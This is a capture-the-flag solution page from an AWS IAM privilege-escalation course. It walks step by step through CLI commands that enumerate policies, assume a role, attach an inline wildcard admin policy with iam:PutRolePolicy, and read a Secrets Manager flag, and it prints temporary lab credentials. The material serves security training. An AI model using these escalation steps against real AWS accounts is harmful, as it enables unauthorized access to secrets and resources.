Back to Course

AWS IAM Privilege Escalation Labs

0% Complete
0/0 Steps
  1. Introduction

    About this course
  2. Real-world case studies
  3. Useful IAM tips and security tools
  4. Introduction to AWS Enumeration
    [LAB] Getting Started with the AWS CLI
  5. [LAB] Introduction to AWS IAM Enumeration
  6. [Cheat Sheet] IAM Enumeration CLI Commands
  7. [LAB] Introduction to Secrets Manager Enumeration
  8. [Cheat Sheet] Secrets Manager Enumeration CLI Commands
  9. [LAB] Introduction to Amazon S3 Enumeration
  10. iam:CreateAccessKey
    [LAB] [CTF] iam:CreateAccessKey PrivEsc
  11. iam:CreateAccessKey Solution
  12. iam:CreateLoginProfile
    [LAB] [CTF] iam:CreateLoginProfile PrivEsc
  13. iam:CreateLoginProfile Solution
  14. iam:UpdateLoginProfile
    [LAB] [CTF] iam:UpdateLoginProfile PrivEsc
  15. iam:UpdateLoginProfile Solution
  16. iam:SetDefaultPolicyVersion
    [LAB] [CTF] iam:SetDefaultPolicyVersion PrivEsc
  17. iam:SetDefaultPolicyVersion Solution
  18. iam:AddUserToGroup
    [LAB] [CTF] iam:AddUserToGroup PrivEsc
  19. iam:AddUserToGroup Solution
  20. iam:AttachUserPolicy
    [LAB] [CTF] iam:AttachUserPolicy PrivEsc
  21. iam:AttachUserPolicy Solution
  22. iam:AttachGroupPolicy
    [LAB] [CTF] iam:AttachGroupPolicy PrivEsc
  23. iam:AttachGroupPolicy Solution
  24. iam:PutUserPolicy
    [LAB] [CTF] iam:PutUserPolicy PrivEsc
  25. iam:PutUserPolicy Solution
  26. iam:PutGroupPolicy
    [LAB] [CTF] iam:PutGroupPolicy PrivEsc
  27. iam:PutGroupPolicy Solution
  28. iam:AttachRolePolicy
    [LAB] [CTF] iam:AttachRolePolicy PrivEsc
  29. iam:AttachRolePolicy Solution
  30. iam:PutRolePolicy
    [LAB] [CTF] iam:PutRolePolicy PrivEsc
  31. iam:PutRolePolicy Solution
  32. Challenges
    About challenges
  33. Challenge #1 - Secrets Unleashed
  34. Challenge #2 - IAM Escape Room
  35. Conclusion
    What did you think of the course?
  36. What's next?
Lesson 31 of 36
In Progress

iam:PutRolePolicy Solution

Christophe December 18, 2023

This lab doesn’t return a username so we need to know who we’re dealing with:

aws sts get-caller-identity

{
    "UserId": "AIDA5M7PA4Z576GCALD4D",
    "Account": "921234892411",
    "Arn": "arn:aws:iam::921234892411:user/iam-putrolepolicy-privesc-1703266360190-Support-Mike"
}

Code language: JavaScript (javascript)

Let’s try to enumerate what permissions we have.

aws iam list-groups-for-user --user-name iam-putgrouppolicy-privesc-1703019350806-SeniorArchitect

{
    "Groups": [
        {
            "Path": "/",
            "GroupName": "iam-putrolepolicy-privesc-1703266360190-Support",
            "GroupId": "AGPA5M7PA4Z52HQSXDKXZ",
            "Arn": "arn:aws:iam::921234892411:group/iam-putrolepolicy-privesc-1703266360190-Support",
            "CreateDate": "2023-12-22T17:33:56+00:00"
        }
    ]
}

Code language: PHP (php)

That tells us exactly what our group is including the GroupName and Arn.

Let’s list out the policies attached to this group:

aws iam list-group-policies --group-name  iam-putrolepolicy-privesc-1703266360190-Support

{
    "PolicyNames": [
        "iam-putrolepolicy-privesc-1703266360190-policy"
    ]
}

Code language: PHP (php)

Now we can try to retrieve that policy:

aws iam get-group-policy --group-name iam-putrolepolicy-privesc-1703266360190-Support --policy-name iam-putrolepolicy-privesc-1703266360190-policy

{
    "GroupName": "iam-putrolepolicy-privesc-1703266360190-Support",
    "PolicyName": "iam-putrolepolicy-privesc-1703266360190-policy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Condition": {
                    "ArnEquals": {
                        "aws:PrincipalARN": "arn:aws:iam::921234892411:user/iam-attachrolepolicy-privesc-1703266360190-Support-Mike"
                    }
                },
                "Action": [
                    "iam:PutRolePolicy"
                ],
                "Resource": [
                    "arn:aws:iam::921234892411:role/SupportRole"
                ],
                "Effect": "Allow",
                "Sid": "AllowAttachRolePolicy"
            },
            {
                "Action": [
                    "sts:AssumeRole"
                ],
                "Resource": [
                    "arn:aws:iam::921234892411:role/SupportRole"
                ],
                "Effect": "Allow",
                "Sid": "AllowAssumeSupportRole"
            },
            {
                "Action": [
                    "iam:Listroles"
                ],
                "Resource": "*",
                "Effect": "Allow",
                "Sid": "AllowListRoles"
            },
            {
                "Action": [
                    "iam:ListGroupPolicies",
                    "iam:ListPolicies",
                    "iam:ListPolicyVersions",
                    "iam:ListUserPolicies",
                    "iam:ListUsers",
                    "iam:ListGroups",
                    "iam:ListGroupsForUser",
                    "iam:GetPolicy",
                    "iam:GetPolicyVersion",
                    "iam:GetRole",
                    "iam:GetRolePolicy",
                    "iam:GetUser",
                    "iam:GetUserPolicy",
                    "iam:GetGroupPolicy"
                ],
                "Resource": "*",
                "Effect": "Allow"
            },
            {
                "Action": [
                    "iam:ListRolePolicies",
                    "iam:GetRolePolicy"
                ],
                "Resource": [
                    "arn:aws:iam::921234892411:role/SupportRole"
                ],
                "Effect": "Allow",
                "Sid": "AllowListRolePolicies"
            }
        ]
    }
}

Code language: JavaScript (javascript)

I’ll let you take a look at what all is there, but we can see that we have the ability to attach a role policy:

"Action": [
      "iam:PutRolePolicy"
],
"Resource": [
      "arn:aws:iam::921234892411:role/SupportRole"
],
"Effect": "Allow",

Code language: JavaScript (javascript)

For the specific role of

"arn:aws:iam::921234892411:role/SupportRole"

Code language: JSON / JSON with Comments (json)

That’s interesting and might indicate that we have the ability to administer and maybe even assume this role?

Let’s check out this role:

aws iam list-roles --query "Roles[?RoleName=='SupportRole']"

[
    {
        "Path": "/",
        "RoleName": "SupportRole",
        "RoleId": "AROA5M7PA4Z5XAI6WBDQZ",
        "Arn": "arn:aws:iam::921234892411:role/SupportRole",
        "CreateDate": "2023-12-22T17:33:36+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::921234892411:root"
                    },
                    "Action": "sts:AssumeRole",
                    "Condition": {
                        "ArnEquals": {
                            "aws:PrincipalArn": "arn:aws:iam::921234892411:user/iam-putrolepolicy-privesc-1703266360190-Support-Mike"
                        }
                    }
                }
            ]
        },
        "Description": "Assumable role for internal support",
        "MaxSessionDuration": 3600
    }
]

Code language: PHP (php)

This command shows us that we do indeed have the ability to assume this role! Let’s do that, but first, let’s enumerate what policy or policies are associated with this role.

aws iam list-role-policies --role-name SupportRole

{
    "PolicyNames": [
        "AccessNOTSensitiveBucket"
    ]
}

Code language: PHP (php)
aws iam get-role-policy --role-name SupportRole --policy-name AccessNOTSensitiveBucket

{
    "RoleName": "Supportrole",
    "PolicyName": "AccessNOTSensitiveBucket",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "s3:ListBucket"
                ],
                "Resource": "arn:aws:s3:::cybr-operations-data-921234892411",
                "Effect": "Allow",
                "Sid": "AllowListNOTSensitiveBucket"
            },
            {
                "Action": [
                    "s3:GetObject"
                ],
                "Resource": "arn:aws:s3:::cybr-operations-data-921234892411/*",
                "Effect": "Allow",
                "Sid": "AllowGetObjectsInNOTSensitiveBucket"
            },
            {
                "Action": [
                    "s3:ListAllMyBuckets",
                    "s3:GetBucketLocation"
                ],
                "Resource": "*",
                "Effect": "Allow",
                "Sid": "AllowS3List"
            }
        ]
    }
}

Code language: JavaScript (javascript)

Ok so we can see that this role has a policy attached that grants access to S3 data. We want access to Secrets Manager, though, but let’s take it one step at a time. Let’s try to assume this role.

The way do to that is through the STS CLI command (https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/assume-role.html):

assume-role
--role-arn <value>
--role-session-name <value>

Code language: HTML, XML (xml)

We can pass in the role ARN which we just got back and we can give our session a name:

aws sts assume-role --role-arn arn:aws:iam::921234892411:role/SupportRole --role-session-name test

{
    "Credentials": {
        "AccessKeyId": "ASIA5M7PA4Z5XRJOLI7B",
        "SecretAccessKey": "Xg2/YnUUta6L1uV3F2Snsp1xuAWsh5sD5peahOh9",
        "SessionToken": "IQoJb3JpZ2luX2VjEKr//////////wEaCXVzLWVhc3QtMSJHMEUCIQCO7gw+wmQN4SFwQAZp1hbQH6ziDawpny9cFscbv+zcmAIgY+f9cqFxa4szRm0YY7Hb2FCHthHS/rS3G13V/...REDACTED",
        "Expiration": "2023-12-22T18:42:09+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROA5M7PA4Z5XAI6WBDQZ:test",
        "Arn": "arn:aws:sts::921234892411:assumed-role/SupportRole/test"
    }
}

Code language: JavaScript (javascript)

We can now use this information to make calls to the AWS environment using this role’s temporary credentials, like this:

aws configure --profile supportrole

AWS Access Key ID [None]: ASIA5M7PA4Z5XRJOLI7B
AWS Secret Access Key [None]: Xg2/YnUUta6L1uV3F2Snsp1xuAWsh5sD5peahOh9
Default region name [None]: us-east-1
Default output format [None]: json

Code language: PHP (php)

And then we simply need to set the session token:

aws configure set aws_session_token <TOKEN HERE> --profile supportrole

Code language: HTML, XML (xml)

Don’t forget to set the session token for the --profile supportrole.

There’s a better way of setting and managing role and temporary tokens that you can read about here, but for this lab it’s not necessary.

We can verify that we’re using the correct profile and credentials with:

aws sts get-caller-identity --profile supportrole

{
    "UserId": "AROA5M7PA4Z5XAI6WBDQZ:test",
    "Account": "921234892411",
    "Arn": "arn:aws:sts::921234892411:assumed-role/SupportRole/test"
}

Code language: JavaScript (javascript)

This should not return the initial user and should instead return an assumed-role arn, but then if you remove the --profile supportrole you’re right back to your initial user and permissions. Keep that in mind as you go through the rest of the lab as it’s easy to forget the profile option.

Since we saw that we had S3 access, let’s see what we can access:

aws s3 ls --profile supportrole

2023-12-22 10:32:51 cybr-operations-data-921234892411

Code language: CSS (css)

So that works, and we can even list the contents of that bucket, but there’s nothing interesting in there:

aws s3 ls s3://cybr-operations-data-921234892411 --profile supportrole
2023-12-22 10:33:28       1159 favicon.png
2023-12-22 10:33:28        301 index.html
2023-12-22 10:33:28        142 style.css

Code language: JavaScript (javascript)

(Don’t forget the --profile supportrole or it won’t work)

What we really want though is access to Secrets Manager, which we don’t currently have:

aws secretsmanager list-secrets --profile supportrole

An error occurred (AccessDeniedException) when calling the ListSecrets operation: User: arn:aws:sts::921234892411:assumed-role/SupportRole/test is not authorized to perform: secretsmanager:ListSecrets because no identity-based policy allows the secretsmanager:ListSecrets action

Code language: PHP (php)

However, if you remember from our prior command when we were looking at policies, we have the ability to PutRolePolicy from our user to this role:

"Action": [
      "iam:PutRolePolicy"
],
"Resource": [
      "arn:aws:iam::921234892411:role/SupportRole"
],
"Effect": "Allow",

Code language: JavaScript (javascript)

That’s where PutRolePolicy comes into play, so let’s use it now.

For this command, remember that you need to use your IAM user’s credentials, not the role, so remove the --profile

We’re going to use this CLI command:

put-role-policy
--role-name <value>
--policy-name <value>
--policy-document <value>

Code language: HTML, XML (xml)

We can do:

aws iam put-role-policy \
--role-name SupportRole \
--policy-name secretsaccess
--policy-document file://

Code language: JavaScript (javascript)

Except we don’t have a file created yet, so let’s do that:

vim policy.json

{
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Action": "*",
        "Resource": "*"
      }
    ]
  }

Code language: JavaScript (javascript)

(I’m using vim but you can use whatever text editor you’re comfortable with)

I like to use this type of policy even if permissions in the AWS environment don’t allow us to get admin-level permissions because it removes a lot of the guess work. Whatever works, works and what doesn’t, doesn’t.

Now that we have this file, we can issue our command:

aws iam put-role-policy --role-name SupportRole --policy-name secretsaccess --policy-document file://policy.json

Code language: JavaScript (javascript)

We won’t get any response back if it succeeds, but we can verify by trying to list secrets:

aws secretsmanager list-secrets --profile supportrole

{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:<redacted>-final_flag-B3vhXc",
            "Name": "<redacted>-final_flag",
            "Description": "Secret containing a flag",
            "LastChangedDate": "2023-12-22T11:37:30.926000-07:00",
...REDACTED...
        }
    ]
}

Code language: PHP (php)

(If it still gives an access denied error, give it a few seconds and try again. There is often a slight delay in permissions propagating through AWS)

(Also don’t forget to re-add in the --profile supportrole)

We can now try to access this secret value, using the name of the secret from the prior command for the --secret-id:

aws secretsmanager get-secret-value --secret-id putrolepolicy-final_flag --profile supportrole

{
    "ARN": "arn:aws:secretsmanager:us-east-1:redacted-final_flag-B3vhXc",
    "Name": "redacted-final_flag",
    "VersionId": "9dd82a92-560d-fb79-c1a0-8ce743d10f06",
    "SecretString": "{\\"vault-password\\": \\"redactedNDQ4OA==\\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2023-12-22T11:37:30.920000-07:00"
}

Code language: JavaScript (javascript)

(Don’t forget --profile supportrole)

You’ll now be able to retrieve the secret, except there’s still one more problem! This secret string is not in plaintext, it’s got some sort of encoding 🤔

This one is very easy to decode, however, using an online tool like this: https://dencode.com/en/string, which I’ll let you do 🙂

And there you go! Congrats on capturing the flag! Go ahead and submit the decoded secret as the flag!

Responses

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.